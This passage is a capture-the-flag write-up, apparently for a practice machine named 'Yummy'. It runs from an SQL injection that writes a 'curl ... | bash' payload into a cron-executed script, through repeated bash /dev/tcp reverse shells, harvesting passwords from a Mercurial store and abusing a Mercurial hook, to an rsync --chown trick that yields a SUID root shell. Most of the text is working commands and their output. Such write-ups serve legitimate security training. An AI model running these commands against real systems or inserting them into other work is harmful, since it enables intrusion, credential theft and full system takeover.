/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
This script checks if MySQL is running. If not, it runs a file named fixer-v* at /data/scripts directory. The thing is it will execute the file fixer-v<number>, where <number> is the highest number. So if we have fixer-v1, fixer-v2 and fixer-v3 the cronjob will execute fixer-v3.
Hence the idea of writing a file named file-vZ (since uppercase letters will be stored at the very last) at /data/script and wait for the cronjob to execute it. First, we need to “corrupt” dbstatus.json. MySQL cannot overwrite files, but if we check /data/scripts/dbstatus.json this file does not exists, so we can write it visiting in the /admindashboard session:
http://yummy.htb/admindashboard?s=123&o=ASC;%20SELECT%20%27test%27%20INTO%20OUTFILE%20%27/data/scripts/dbstatus.json%27;--%20-
which is the url encoded SQL Injection|SQLi:
SELECT 'test' INTO OUTFILE '/data/scripts/dbstatus.json';-- -
The file has been apparently written:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/dbstatus.json'
<SNIP>
[+] Output obtained:
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
So let’s write both files required in the SQL payload:
; select 'test' INTO OUTFILE '/data/scripts/dbstatus.json'; select 'curl http://10.10.16.2:8000/rev.sh | bash' INTO OUTFILE '/data/scripts/fixer-v9999';-- -
where 10.10.16.2 is our attacker IP and 443 is the port we will start listening with netcat.
We urlencode this payload into Burpsuite, which generates the urlencoded-payload:
%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d
Create a simple rev.sh file with the content:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'
assign to it execution permissions with chmod +x and expose it in a temporal Python HTTP server on port 8000 (executing python3 -m http.server 8000).
Therefore, we just visit http://yummy.htb/admindashboard?s=123&o=ASC<url-encoded-payload>, which in my case is:
http://yummy.htb/admindashboard?s=123&o=ASC%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d
in a web browser like Firefox.
After some time we get a request into our web server and the payload is executed. We get a shell as mysql user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 57734
bash: cannot set terminal process group (3704): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$ whoami
whoami
mysql
We can now use the credentials found at app.py file:
mysql@yummy:/var/spool/cron$ mysql -u chef -p'3wDo7gSRZIwIHRxZ!' -h localhost yummy_db
<SNIP>
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use yummy_db;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_yummy_db |
+--------------------+
| appointments |
| users |
+--------------------+
2 rows in set (0.00 sec)
mysql> select * from users;
Empty set (0.00 sec)
But besides data in the blog we don’t have more info. This is a rabbit hole.
We can then remember cronjobs found at /etc/crontab. /data/scripts/app_backup.sh was being run by www-data every second. I see if we can write over this file renaming it:
mysql@yummy:/var/spool/cron$ mv /data/scripts/app_backup.sh /data/scripts/app_backup_backup.sh
mysql@yummy:/var/spool/cron$ ls -la /data/scripts/app_backup*
-rw-r--r-- 1 root root 90 Sep 26 15:31 /data/scripts/app_backup_backup.sh
We can then replace /data/scripts/app_backup.sh by rev.sh we have created to get a new reverse shell:
mysql@yummy:/var/spool/cron$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/rev.sh
mysql@yummy:/var/spool/cron$ chmod +x /tmp/rev.sh
mysql@yummy:/var/spool/cron$ mv /tmp/rev.sh /data/scripts/app_backup.sh -f
mysql@yummy:/var/spool/cron$ cat /data/scripts/app_backup.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"
We start a new listener with netcat on port 443. After some time we get a new shell as www-data user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 56358
bash: cannot set terminal process group (4522): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$ whoami
whoami
www-data
Since we are now www-data we should look into /var/www. Looking there we have a directory called app-qatesting and also a hidden directory called .hg inside it:
ls -la /var/www/app-qatesting/.hg
total 64
drwxrwxr-x 6 qa qa 4096 May 28 14:37 .
drwxrwx--- 7 www-data qa 4096 May 28 14:41 ..
-rw-rw-r-- 1 qa qa 57 May 28 14:26 00changelog.i
-rw-rw-r-- 1 qa qa 0 May 28 14:28 bookmarks
-rw-rw-r-- 1 qa qa 8 May 28 14:26 branch
drwxrwxr-x 2 qa qa 4096 May 28 14:37 cache
-rw-rw-r-- 1 qa qa 7102 May 28 14:37 dirstate
-rw-rw-r-- 1 qa qa 34 May 28 14:37 last-message.txt
-rw-rw-r-- 1 qa qa 11 May 28 14:26 requires
drwxrwxr-x 4 qa qa 4096 May 28 14:37 store
drwxrwxr-x 2 qa qa 4096 May 28 14:28 strip-backup
-rw-rw-r-- 1 qa qa 8 May 28 14:26 undo.backup.branch.bck
-rw-rw-r-- 1 qa qa 7102 May 28 14:34 undo.backup.dirstate.bck
-rw-rw-r-- 1 qa qa 9 May 28 14:37 undo.desc
drwxrwxr-x 2 qa qa 4096 May 28 14:37 wcache
We look for passwords inside this directory using grep and we have something:
www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" .
grep -ir "password" .
grep: ./wcache/checkisexec: Permission denied
grep: ./store/data/app.py.i: binary file matches
Use -a along with grep to check content from the binary file containing the potential password:
www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" . -a
grep -ir "password" . -a
grep: ./wcache/checkisexec: Permission denied
./store/data/app.py.i: 'password': '3wDo7gSRZIwIHRxZ!',
./store/data/app.py.i: 'password': 'jPAd!XQCtn8Oc@2B',
The first password is the same as the previously found at app.py, which we have also tested if worked for qa and dev user, but did not work. The second password is new.
We then use NetExec to check if this password works for qa and dev users:
❯ nxc ssh 10.10.11.36 -u 'dev' -p 'jPAd!XQCtn8Oc@2B'
SSH 10.10.11.36 22 10.10.11.36 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH 10.10.11.36 22 10.10.11.36 [-] dev:jPAd!XQCtn8Oc@2B
❯ nxc ssh 10.10.11.36 -u 'qa' -p 'jPAd!XQCtn8Oc@2B'
SSH 10.10.11.36 22 10.10.11.36 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH 10.10.11.36 22 10.10.11.36 [+] qa:jPAd!XQCtn8Oc@2B Linux - Shell access!
The password worked for qa user.
Use this password and log in through SSH as qa user:
❯ sshpass -p 'jPAd!XQCtn8Oc@2B' ssh -o stricthostkeychecking=no qa@10.10.11.36
<SNIP>
qa@yummy:~$
We can get user flag at this user’s /home directory.
Root Link to heading
Checking what can this user run with sudo, it can run a binary called hg as dev user:
qa@yummy:~$ sudo -l
[sudo] password for qa: jPAd!XQCtn8Oc@2B
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
It is a Python script:
qa@yummy:~$ file /usr/bin/hg
/usr/bin/hg: Python script, ASCII text executable
Reading it we get:
#! /usr/bin/python3
#
# mercurial - scalable distributed SCM
#
# Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version.
import os
import sys
libdir = '@LIBDIR@'
if libdir != '@' 'LIBDIR' '@':
if not os.path.isabs(libdir):
libdir = os.path.join(
os.path.dirname(os.path.realpath(__file__)), libdir
)
libdir = os.path.abspath(libdir)
sys.path.insert(0, libdir)
# Make `pip install --user ...` packages available to the official Windows
# build. Most py2 packaging installs directly into the system python
# environment, so no changes are necessary for other platforms. The Windows
# py2 package uses py2exe, which lacks a `site` module. Hardcode it according
# to the documentation.
if getattr(sys, 'frozen', None) == 'console_exe':
vi = sys.version_info
appdata = os.environ.get('APPDATA')
if appdata:
sys.path.append(
os.path.join(
appdata,
'Python',
'Python%d%d' % (vi[0], vi[1]),
'site-packages',
)
)
try:
from hgdemandimport import tracing
except ImportError:
sys.stderr.write(
"abort: couldn't find mercurial libraries in [%s]\n"
% ' '.join(sys.path)
)
sys.stderr.write("(check your install and PYTHONPATH)\n")
sys.exit(-1)
with tracing.log('hg script'):
# enable importing on demand to reduce startup time
import hgdemandimport
hgdemandimport.enable()
from mercurial import dispatch
dispatch.run()
After some research this script is a Python library for Mercurial:
Mercurial is a distributed open source control (also known as “version control”) system written in Python for tracking and handling file modifications. Mercurial can be used as the version control system for Python projects.It is an alternative to Git. We can get more info about it in its page and this one.
Unfortunately, there is not much clear documentation about it. But I was able to find this page explaining how to use this application. One thing that looks interesting is hooks:

We can execute Python script or commands. The other one is:

so we could pass this parameter as pre-pull (since this is the only command we can run as dev) into hook.
But if we run it we don’t have a config file:
qa@yummy:~$ /usr/bin/hg config -l
abort: can't use --local outside a repository
So we go to /tmp and start a hg project there:
qa@yummy:~$ cd /tmp
qa@yummy:/tmp$ hg init
qa@yummy:/tmp$ hg config -l
We edit the file with nano and create the file:
[hook]
pre-pull = /tmp/evil.sh
and create the script that will be executed:
qa@yummy:/tmp$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/evil.sh
qa@yummy:/tmp$ chmod +x /tmp/evil.sh
This script should send us a reverse shell when it is executed.
Assign permissions to .hg directory, start a listener with netcat and execute the payload:
qa@yummy:/tmp$ chmod -R 777 .hg
qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
We get a connection as dev user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 58430
I'm out of office until November 3th, don't call me
dev@yummy:/tmp$ whoami
whoami
dev
Checking what can this new user run with sudo we get:
dev@yummy:/tmp$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
We can run Rsync as root without providing a password.
Rsync is a free, command-line tool in Linux that transfers and synchronizes files between local and remote systems.Basically, this command let us copy files, recursively, from /home/dev/app/production/* into /opt/app (excluding .hg files).
Therefore, we can do the following:
- Make a copy of
/bin/bashinto/home/dev/app/production. - Assign to this file SUID permissions. However, the owner will be
dev. - Use
sudocommand to change the owner torootusing--chownflag (as can be seen in this post). - Copy of
/bin/bashwill have SUID permissions, therefore we execute it with-pflag.
We need to do this all at once, since there was a cronjob constantly restoring the files. Therefore we execute:
dev@yummy:~$ cp /bin/bash /home/dev/app-production/bash && chmod u+s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/bash -p
whoami
root
It worked. GG. We can read root flag at /root directory.
~Happy Hacking